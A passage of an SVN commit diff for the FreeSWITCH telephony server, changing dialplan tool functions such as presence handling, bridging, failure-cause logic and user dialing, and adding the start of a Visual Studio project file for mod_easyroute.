+			switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER);
 		} else {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
 		}
@@ -981,7 +1048,7 @@
 		switch_time_exp_t tm;
 		char date[80] = "";
 
-		switch_time_exp_lt(&tm, switch_timestamp_now());
+		switch_time_exp_lt(&tm, switch_micro_time_now());
 		switch_strftime(date, &retsize, sizeof(date), argv[1], &tm);
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SET [%s]=[%s]\n", argv[0], date);
 		switch_channel_set_variable(switch_core_session_get_channel(session), argv[0], date);
@@ -993,7 +1060,7 @@
 	switch_time_t out;
 
 	if (switch_strlen_zero(cmd)) {
-		out = switch_timestamp_now();
+		out = switch_micro_time_now();
 	} else {
 		out = switch_str_time(cmd);
 	}
@@ -1014,7 +1081,7 @@
 		thetime = switch_time_make(atoi(cmd), 0);
 		cmd = p + 1;
 	} else {
-		thetime = switch_timestamp_now();
+		thetime = switch_micro_time_now();
 	}
 	switch_time_exp_lt(&tm, thetime);
 	if (switch_strlen_zero(cmd)) {
@@ -1027,44 +1094,67 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+
+#define PRESENCE_USAGE "[in|out] <user> <rpid> <message>"
 SWITCH_STANDARD_API(presence_api_function)
 {
 	switch_event_t *event;
-	char *lbuf, *argv[4];
+	char *lbuf = NULL , *argv[4];
 	int argc = 0;
 	switch_event_types_t type = SWITCH_EVENT_PRESENCE_IN;
+	int need = 4;
 
 	if (!switch_strlen_zero(cmd) && (lbuf = strdup(cmd))
-		&& (argc = switch_separate_string(lbuf, '|', argv, (sizeof(argv) / sizeof(argv[0])))) > 0) {
+		&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) > 0) {
+
 		if (!strcasecmp(argv[0], "out")) {
 			type = SWITCH_EVENT_PRESENCE_OUT;
-		} else if (argc != 4) {
-			stream->write_function(stream, "Invalid");
-			return SWITCH_STATUS_SUCCESS;
+			need = 2;
+		} else if (strcasecmp(argv[0], "in")) {
+			goto error;
 		}
 
+		if (argc < need) {
+			goto error;
+		}
+
 		if (switch_event_create(&event, type) == SWITCH_STATUS_SUCCESS) {
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", "dp");
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "login", __FILE__);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "from", argv[1]);
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "rpid", argv[2]);
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "status", argv[3]);
 			if (type == SWITCH_EVENT_PRESENCE_IN) {
-				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "rpid", argv[2]);
-				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "status", argv[3]);
+				if (!strncasecmp(argv[3], "cs_", 3) || switch_stristr("hangup", argv[3])) {
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "channel-state", "CS_HANGUP");
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "status", "CS_HANGUP");
+				}
+			} else {
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "status", "CS_HANGUP");
 			}
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "event_type", "presence");
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "alt_event_type", "dialog");
+			switch_event_add_header(event, SWITCH_STACK_BOTTOM, "event_count", "%d", 0);
 			switch_event_fire(&event);
 		}
 		stream->write_function(stream, "Event Sent");
-		switch_safe_free(lbuf);
 	} else {
-		stream->write_function(stream, "Invalid");
+		goto error;
 	}
+
+	switch_safe_free(lbuf);
 	return SWITCH_STATUS_SUCCESS;
+
+ error:
+
+	switch_safe_free(lbuf);
+	stream->write_function(stream, "Invalid: presence %s", PRESENCE_USAGE);
+	return SWITCH_STATUS_SUCCESS;
 }
 
 SWITCH_STANDARD_API(chat_api_function)
 {
-	char *lbuf, *argv[5];
+	char *lbuf = NULL, *argv[5];
 	int argc = 0;
 
 	if (!switch_strlen_zero(cmd) && (lbuf = strdup(cmd))
@@ -1080,6 +1170,7 @@
 		stream->write_function(stream, "Invalid");
 	}
 
+	switch_safe_free(lbuf);
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -1102,6 +1193,7 @@
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_event_t *params;
+	const char *name = (const char*)data;
 
 	if (channel) {
 		switch_xml_t cxml = NULL, cfg = NULL, xml_menus = NULL, xml_menu = NULL;
@@ -1109,11 +1201,12 @@
 		/* Open the config from the xml registry */
 		switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
 		switch_assert(params);
+		switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "Menu-Name", name);
 		switch_channel_event_set_data(channel, params);
 
 		if ((cxml = switch_xml_open_cfg(ivr_cf_name, &cfg, params)) != NULL) {
 			if ((xml_menus = switch_xml_child(cfg, "menus"))) {
-				xml_menu = switch_xml_find_child(xml_menus, "menu", "name", (char *) data);
+				xml_menu = switch_xml_find_child(xml_menus, "menu", "name", name);
 
 				/* if the menu was found */
 				if (xml_menu != NULL) {
@@ -1128,7 +1221,7 @@
 						&& switch_ivr_menu_stack_xml_build(xml_ctx, &menu_stack, xml_menus, xml_menu) == SWITCH_STATUS_SUCCESS) {
 						switch_xml_free(cxml);
 						cxml = NULL;
-						switch_ivr_menu_execute(session, menu_stack, (char *) data, NULL);
+						switch_ivr_menu_execute(session, menu_stack, (char*)name, NULL);
 						switch_ivr_menu_stack_free(menu_stack);
 					} else {
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to create menu\n");
@@ -1207,12 +1300,12 @@
 		uint32_t mto;
 		if (*argv[3] == '+') {
 			if ((mto = atol(argv[3] + 1)) > 0) {
-				to = switch_timestamp(NULL) + mto;
+				to = switch_epoch_time_now(NULL) + mto;
 			} else {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "INVALID Timeout!\n");
 			}
 		} else {
-			if ((to = atol(argv[3])) < switch_timestamp(NULL)) {
+			if ((to = atol(argv[3])) < switch_epoch_time_now(NULL)) {
 				if (to >= 1) {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "INVALID Timeout!\n");
 				}
@@ -1322,11 +1415,12 @@
 		char buf[10];
 		switch_input_args_t args = { 0 };
 
-		args.input_callback = on_dtmf;
-		args.buf = buf;
-		args.buflen = sizeof(buf);
-		
-		switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
+		if (switch_true(switch_channel_get_variable(channel, "sleep_eat_digits"))) {
+			args.input_callback = on_dtmf;
+			args.buf = buf;
+			args.buflen = sizeof(buf);
+			switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
+		}
 
 		switch_ivr_sleep(session, ms, SWITCH_TRUE, &args);
 	}
@@ -1417,6 +1511,7 @@
 			switch_channel_t *peer_channel = switch_core_session_get_channel(peer_session);
 
 			if (dtmf->digit == '#') {
+				switch_channel_hangup(peer_channel, SWITCH_CAUSE_NORMAL_CLEARING);
 				return SWITCH_STATUS_FALSE;
 			}
 
@@ -1515,7 +1610,7 @@
 	switch_channel_clear_flag(peer_channel, CF_INNER_BRIDGE);
 	switch_channel_clear_flag(channel, CF_INNER_BRIDGE);
 
-	if (!switch_channel_get_state(peer_channel) >= CS_HANGUP) {
+	if (switch_channel_down(peer_channel)) {
 		switch_core_session_rwunlock(peer_session);
 		goto end;
 	}
@@ -1715,6 +1810,7 @@
 	char *mydata = NULL;
 	switch_input_args_t args = { 0 };
 	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_status_t status;
 
 	if (!switch_strlen_zero(data) && (mydata = switch_core_session_strdup(session, data))) {
 		const char *lang;
@@ -1733,8 +1829,23 @@
 		
 		switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
 
-		switch_ivr_phrase_macro(session, macro, mdata, lang, &args);
+		status = switch_ivr_phrase_macro(session, macro, mdata, lang, &args);
+	} else {
+		status = SWITCH_STATUS_NOOP;
 	}
+
+	switch (status) {
+	case SWITCH_STATUS_SUCCESS:
+	case SWITCH_STATUS_BREAK:
+		switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE, "PHRASE PLAYED");
+		break;
+	case SWITCH_STATUS_NOOP:
+		switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE, "NOTHING");
+		break;
+	default:
+		switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE, "UNKNOWN ERROR");
+		break;
+	}
 }
 
 
@@ -1742,7 +1853,7 @@
 {
 	switch_input_args_t args = { 0 };
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_status_t status;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
 
 	args.input_callback = on_dtmf;
 
@@ -1942,8 +2053,7 @@
 	switch_channel_t *caller_channel = switch_core_session_get_channel(session);
 	switch_core_session_t *peer_session = NULL;
 	unsigned int timelimit = 60;
-	const char *var, *continue_on_fail = NULL;
-	uint8_t no_media_bridge = 0;
+	const char *var, *continue_on_fail = NULL, *failure_causes = NULL;
 	switch_call_cause_t cause = SWITCH_CAUSE_NORMAL_CLEARING;
 
 	if (switch_strlen_zero(data)) {
@@ -1955,6 +2065,7 @@
 	}
 
 	continue_on_fail = switch_channel_get_variable(caller_channel, "continue_on_fail");
+	failure_causes = switch_channel_get_variable(caller_channel, "failure_causes");
 
 	if ((var = switch_channel_get_variable(caller_channel, SWITCH_PROXY_MEDIA_VARIABLE)) && switch_true(var)) {
 		switch_channel_set_flag(caller_channel, CF_PROXY_MEDIA);
@@ -1970,8 +2081,10 @@
 				switch_ivr_media(switch_core_session_get_uuid(session), SMF_REBRIDGE);
 				switch_channel_set_flag(caller_channel, CF_PROXY_MODE);
 			} else {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel is already up, delaying proxy mode 'till both legs are up.\n");
-				no_media_bridge = 1;
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Channel is already up, delaying proxy mode 'till both legs are answered.\n");
+				switch_channel_set_variable(caller_channel, "bypass_media_after_bridge", "true");
+				switch_channel_set_variable(caller_channel, SWITCH_BYPASS_MEDIA_VARIABLE, NULL);
+				switch_channel_clear_flag(caller_channel, CF_PROXY_MODE);
 			}
 		}
 	}
@@ -1989,79 +2102,59 @@
 		   'true' to continue on all failures.
 		   'false' to not continue.
 		   A list of codes either names or numbers eg "user_busy,normal_temporary_failure,603"
+		   failure_causes acts as the opposite version	
 		 */
-		if (continue_on_fail) {
+		if (continue_on_fail || failure_causes) {
 			const char *cause_str;
 			char cause_num[35] = "";
 
 			cause_str = switch_channel_cause2str(cause);
 			switch_snprintf(cause_num, sizeof(cause_num), "%u", cause);
+			
+			if (failure_causes && !(switch_stristr(cause_str, failure_causes) || strstr(failure_causes, cause_num))) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Failiure causes [%s]:  Cause: %s\n", failure_causes, cause_str);
+				return;
+			}
 
-			if (switch_true(continue_on_fail) || switch_stristr(cause_str, continue_on_fail) || strstr(cause_num, continue_on_fail)) {
+			if (continue_on_fail && (switch_true(continue_on_fail) || switch_stristr(cause_str, continue_on_fail) || strstr(continue_on_fail, cause_num))) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Continue on fail [%s]:  Cause: %s\n", continue_on_fail, cause_str);
 				return;
 			}
-
 		}
 		if (!switch_channel_test_flag(caller_channel, CF_TRANSFER) && switch_channel_get_state(caller_channel) != CS_ROUTING) {
 			switch_channel_hangup(caller_channel, cause);
 		}
 		return;
 	} else {
-		if (no_media_bridge) {
+		
+		if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE)) {
+			switch_ivr_signal_bridge(session, peer_session);
+		} else {
+			switch_channel_t *channel = switch_core_session_get_channel(session);
 			switch_channel_t *peer_channel = switch_core_session_get_channel(peer_session);
-			switch_frame_t *read_frame;
-			/* SIP won't let us redir media until the call has been answered #$^#%& so we will proxy any early media until they do */
-			while (switch_channel_ready(caller_channel) && switch_channel_ready(peer_channel)
-				   && !switch_channel_test_flag(peer_channel, CF_ANSWERED)) {
-				switch_status_t status = switch_core_session_read_frame(peer_session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
-				uint8_t bad = 1;
+			char *a_key = (char *) switch_channel_get_variable(channel, "bridge_terminate_key");
+			char *b_key = (char *) switch_channel_get_variable(peer_channel, "bridge_terminate_key");
+			int ok = 0;
+			switch_input_callback_function_t func = NULL;
 
-				if (SWITCH_READ_ACCEPTABLE(status)
-					&& switch_core_session_write_frame(session, read_frame, SWITCH_IO_FLAG_NONE, 0) == SWITCH_STATUS_SUCCESS) {
-					bad = 0;
-				}
-				if (bad) {
-					switch_channel_hangup(caller_channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
-					switch_channel_hangup(peer_channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
-					goto end;
-				}
+			if (a_key) {
+				a_key = switch_core_session_strdup(session, a_key);
+				ok++;
 			}
-
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Redirecting media to proxy mode.\n");
-			switch_ivr_nomedia(switch_core_session_get_uuid(session), SMF_FORCE);
-			switch_ivr_nomedia(switch_core_session_get_uuid(peer_session), SMF_FORCE);
-			switch_ivr_signal_bridge(session, peer_session);
-		} else {
-			if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE)) {
-				switch_ivr_signal_bridge(session, peer_session);
+			if (b_key) {
+				b_key = switch_core_session_strdup(session, b_key);
+				ok++;
+			}
+			if (ok) {
+				func = bridge_on_dtmf;
 			} else {
-				switch_channel_t *channel = switch_core_session_get_channel(session);
-				switch_channel_t *peer_channel = switch_core_session_get_channel(peer_session);
-				char *a_key = (char *) switch_channel_get_variable(channel, "bridge_terminate_key");
-				char *b_key = (char *) switch_channel_get_variable(peer_channel, "bridge_terminate_key");
-				int ok = 0;
-				switch_input_callback_function_t func = NULL;
+				a_key = NULL;
+				b_key = NULL;
+			}
 
-				if (a_key) {
-					a_key = switch_core_session_strdup(session, a_key);
-					ok++;
-				}
-				if (b_key) {
-					b_key = switch_core_session_strdup(session, b_key);
-					ok++;
-				}
-				if (ok) {
-					func = bridge_on_dtmf;
-				} else {
-					a_key = NULL;
-					b_key = NULL;
-				}
-
-				switch_ivr_multi_threaded_bridge(session, peer_session, func, a_key, a_key);
-			}
+			switch_ivr_multi_threaded_bridge(session, peer_session, func, a_key, a_key);
 		}
-	  end:
+		
 		if (peer_session) {
 			switch_core_session_rwunlock(peer_session);
 		}
@@ -2107,17 +2200,17 @@
 												 switch_caller_profile_t *outbound_profile,
 												 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags)
 {
-	char *group;
+	char *group = NULL;
 	switch_call_cause_t cause = SWITCH_CAUSE_NONE;
 	char *template = NULL, *dest = NULL;
 	switch_originate_flag_t myflags = SOF_NONE;
 	char *cid_name_override = NULL;
 	char *cid_num_override = NULL;
-	const char *var;
+	const char *var, *skip = NULL;
 	unsigned int timelimit = 60;
 	char *domain = NULL;
 	switch_channel_t *new_channel = NULL;
-
+	
 	group = strdup(outbound_profile->destination_number);
 
 	if (!group) goto done;
@@ -2132,17 +2225,32 @@
 		goto done;
 	}
 
+	if (var_event && (skip=switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
+		if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || 
+			(var = switch_event_get_header(var_event, "leg_timeout"))) {
+			timelimit = atoi(var);
+		}
+		var_event = NULL;
+	}
+
 	template = switch_mprintf("${group_call(%s@%s)}", group, domain);
 	
 	if (session) {
 		switch_channel_t *channel = switch_core_session_get_channel(session);
 		dest = switch_channel_expand_variables(channel, template);
-		if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE))) {
+		if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
+			(var = switch_event_get_header(var_event, "leg_timeout"))) {
 			timelimit = atoi(var);
 		}
 	} else if (var_event) {
 		dest = switch_event_expand_headers(var_event, template);
+	} else {
+		switch_event_t *event = NULL;
+		switch_event_create(&event, SWITCH_EVENT_REQUEST_PARAMS);
+		dest = switch_event_expand_headers(event, template);
+		switch_event_destroy(&event);
 	}
+
 	if (!dest) {
 		goto done;
 	}
@@ -2150,7 +2258,8 @@
 	if (var_event) {
 		cid_name_override = switch_event_get_header(var_event, "origination_caller_id_name");
 		cid_num_override = switch_event_get_header(var_event, "origination_caller_id_number");
-		if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE))) {
+		if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
+			(var = switch_event_get_header(var_event, "leg_timeout"))) {
 			timelimit = atoi(var);
 		}
 	}
@@ -2183,6 +2292,7 @@
 	}
 	
 	switch_safe_free(template);	
+	switch_safe_free(group);	
 
 	if (cause == SWITCH_CAUSE_NONE) {
 		cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
@@ -2214,7 +2324,10 @@
 	static switch_call_cause_t cause = SWITCH_CAUSE_NONE;
 	unsigned int timelimit = 60;
 	switch_channel_t *new_channel = NULL;
-	switch_event_t *params = NULL;
+	switch_event_t *params = NULL, *var_event_orig = var_event;
+	char stupid[128] = "";
+	const char *skip = NULL, *var = NULL;
+
 	if (switch_strlen_zero(outbound_profile->destination_number)) {
 		goto done;
 	}
@@ -2234,6 +2347,16 @@
 	}
 	
 
+	if (var_event && (skip=switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
+		if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || 
+			(var = switch_event_get_header(var_event, "leg_timeout"))) {
+			timelimit = atoi(var);
+		}
+		var_event = NULL;
+	}
+
+
+
 	switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
 	switch_assert(params);
 	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "as_channel", "true");
@@ -2246,36 +2369,54 @@
 
 	if ((x_params = switch_xml_child(x_domain, "params"))) {
 		for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
-			const char *var = switch_xml_attr(x_param, "name");
+			const char *pvar = switch_xml_attr(x_param, "name");
 			const char *val = switch_xml_attr(x_param, "value");
 
-			if (!strcasecmp(var, "dial-string")) {
+			if (!strcasecmp(pvar, "dial-string")) {
 				dest = val;
-				break;
+			} else if (!strncasecmp(pvar, "dial-var-", 9)) {
+				if (!var_event) {
+					switch_event_create(&var_event, SWITCH_EVENT_GENERAL);
+				} else {
+					switch_event_del_header(var_event, pvar + 9);
+				}
+				switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, pvar + 9, val);
 			}
 		}
 	}
 
 	if ((x_params = switch_xml_child(x_group, "params"))) {
 		for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
-			const char *var = switch_xml_attr(x_param, "name");
+			const char *pvar = switch_xml_attr(x_param, "name");
 			const char *val = switch_xml_attr(x_param, "value");
 
-			if (!strcasecmp(var, "dial-string")) {
+			if (!strcasecmp(pvar, "dial-string")) {
 				dest = val;
-				break;
+			} else if (!strncasecmp(pvar, "dial-var-", 9)) {
+				if (!var_event) {
+					switch_event_create(&var_event, SWITCH_EVENT_GENERAL);
+				} else {
+					switch_event_del_header(var_event, pvar + 9);
+				}
+				switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, pvar + 9, val);
 			}
 		}
 	}
 
 	if ((x_params = switch_xml_child(x_user, "params"))) {
 		for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
-			const char *var = switch_xml_attr(x_param, "name");
+			const char *pvar = switch_xml_attr(x_param, "name");
 			const char *val = switch_xml_attr(x_param, "value");
 
-			if (!strcasecmp(var, "dial-string")) {
+			if (!strcasecmp(pvar, "dial-string")) {
 				dest = val;
-				break;
+			} else if (!strncasecmp(pvar, "dial-var-", 9)) {
+				if (!var_event) {
+					switch_event_create(&var_event, SWITCH_EVENT_GENERAL);
+				} else {
+					switch_event_del_header(var_event, pvar + 9);
+				}
+				switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, pvar + 9, val);
 			}
 		}
 	}
@@ -2284,7 +2425,7 @@
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No dial-string available, please check your user directory.\n");
 		cause = SWITCH_CAUSE_MANDATORY_IE_MISSING;
 	} else {
-		const char *var;
+		const char *varval;
 		char *d_dest = NULL;
 		switch_channel_t *channel;
 		switch_originate_flag_t myflags = SOF_NONE;
@@ -2298,8 +2439,9 @@
 
 		if (session) {
 			channel = switch_core_session_get_channel(session);
-			if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE))) {
-				timelimit = atoi(var);
+			if ((varval = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE))
+				|| (varval = switch_event_get_header(var_event, "leg_timeout"))) {
+				timelimit = atoi(varval);
 			}
 
 			switch_channel_set_variable(channel, "dialed_user", user);
@@ -2312,21 +2454,20 @@
 
 			if (var_event) {
 				switch_event_dup(&event, var_event);
-				switch_event_del_header(event, "dialer_user");
-				switch_event_del_header(event, "dialer_domain");
-				if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE))) {
-					timelimit = atoi(var);
+				switch_event_del_header(event, "dialed_user");
+				switch_event_del_header(event, "dialed_domain");
+				if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || 
+					(varval = switch_event_get_header(var_event, "leg_timeout"))) {
+					timelimit = atoi(varval);
 				}
 			} else {
 				switch_event_create(&event, SWITCH_EVENT_REQUEST_PARAMS);
 				switch_assert(event);
 			}
-			switch_assert(var_event);
 
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "dialed_user", user);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "dialed_domain", domain);
 			d_dest = switch_event_expand_headers(event, dest);
-
 			switch_event_destroy(&event);
 		}
 
@@ -2334,7 +2475,11 @@
 			myflags |= SOF_NOBLOCK;
 		}
 
-		if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL, 
+		switch_snprintf(stupid, sizeof(stupid), "user/%s", user);
+		if (switch_stristr(stupid, d_dest)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n", stupid);
+			cause = SWITCH_CAUSE_INVALID_IE_CONTENTS;
+		} else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL, 
 								 cid_name_override, cid_num_override, NULL, var_event, myflags) == SWITCH_STATUS_SUCCESS) {
 			const char *context;
 			switch_caller_profile_t *cp;
@@ -2357,30 +2502,32 @@
 	if (new_channel && xml) {
 		if ((x_params = switch_xml_child(x_domain, "variables"))) {
 			for (x_param = switch_xml_child(x_params, "variable"); x_param; x_param = x_param->next) {
-				const char *var = switch_xml_attr(x_param, "name");
+				const char *pvar = switch_xml_attr(x_param, "name");
 				const char *val = switch_xml_attr(x_param, "value");
-				switch_channel_set_variable(new_channel, var, val);
+				switch_channel_set_variable(new_channel, pvar, val);
 			}
 		}
 
 		if ((x_params = switch_xml_child(x_user, "variables"))) {
 			for (x_param = switch_xml_child(x_params, "variable"); x_param; x_param = x_param->next) {
-				const char *var = switch_xml_attr(x_param, "name");
+				const char *pvar = switch_xml_attr(x_param, "name");
 				const char *val = switch_xml_attr(x_param, "value");
-				switch_channel_set_variable(new_channel, var, val);
+				switch_channel_set_variable(new_channel, pvar, val);
 			}
 		}
 	}
 
   done:
 
-	if (xml) {
-		switch_xml_free(xml);
-	}
+	switch_xml_free(xml);
 
 	if (params) {
 		switch_event_destroy(&params);
 	}
+	
+	if (var_event && var_event_orig != var_event) {
+		switch_event_destroy(&var_event);
+	}
 
 	switch_safe_free(user);
 
@@ -2469,7 +2616,7 @@
 	if (to) { 
 		const char *v;
 		switch_stream_handle_t stream = { 0 };
-		char *cmd, *arg;
+		char *cmd = NULL, *arg;
 		
 		if (!(v = switch_core_get_variable(to))) {
 			v = to;
@@ -2544,7 +2691,7 @@
 	SWITCH_ADD_API(api_interface, "strepoch", "Convert a date string into epoch time", strepoch_api_function, "<string>");
 	SWITCH_ADD_API(api_interface, "chat", "chat", chat_api_function, "<proto>|<from>|<to>|<message>|[<content-type>]");
 	SWITCH_ADD_API(api_interface, "strftime", "strftime", strftime_api_function, "<format_string>");
-	SWITCH_ADD_API(api_interface, "presence", "presence", presence_api_function, "<user> <rpid> <message>");
+	SWITCH_ADD_API(api_interface, "presence", "presence", presence_api_function, PRESENCE_USAGE);
 	SWITCH_ADD_APP(app_interface, "privacy", "Set privacy on calls", "Set caller privacy on calls.", privacy_function, "off|on|name|full|number",
 				   SAF_SUPPORT_NOMEDIA);
 
@@ -2569,6 +2716,7 @@
 	SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>", SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "info", "Display Call Info", "Display Call Info", info_function, "", SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "event", "Fire an event", "Fire an event", event_function, "", SAF_SUPPORT_NOMEDIA);
+	SWITCH_ADD_APP(app_interface, "sound_test", "Analyze Audio", "Analyze Audio", sound_test_function, "", SAF_NONE);
 	SWITCH_ADD_APP(app_interface, "export", "Export a channel variable across a bridge", EXPORT_LONG_DESC, export_function, "<varname>=<value>",
 				   SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>", SAF_SUPPORT_NOMEDIA);
@@ -2600,6 +2748,10 @@
 	SWITCH_ADD_APP(app_interface, "sched_transfer", SCHED_TRANSF_DESCR, SCHED_TRANSF_DESCR, sched_transfer_function,
 				   "[+]<time> <extension> <dialplan> <context>", SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "execute_extension", "Execute an extension", "Execute an extension", exe_function, EXE_SYNTAX, SAF_SUPPORT_NOMEDIA);
+	SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat", 
+				   sched_heartbeat_function, SCHED_HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
+	SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat", 
+				   heartbeat_function, HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "mkdir", "Create a directory", "Create a directory", mkdir_function, MKDIR_SYNTAX, SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "soft_hold", "Put a bridged channel on hold", "Put a bridged channel on hold", soft_hold_function, SOFT_HOLD_SYNTAX,
 				   SAF_NONE);

Property changes: freeswitch/branches/seven/src/mod/applications/mod_easyroute


Name: svn:ignore
   + Debug
*.pdb
*.user
Release
Win32
x64
Makefile

Deleted: freeswitch/branches/seven/src/mod/applications/mod_easyroute/Makefile

Copied: freeswitch/branches/seven/src/mod/applications/mod_easyroute/mod_easyroute.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/applications/mod_easyroute/mod_easyroute.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_easyroute/mod_easyroute.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_easyroute/mod_easyroute.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,283 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_easyroute"
+	ProjectGUID="{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}"
+	RootNamespace="mod_easyroute"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
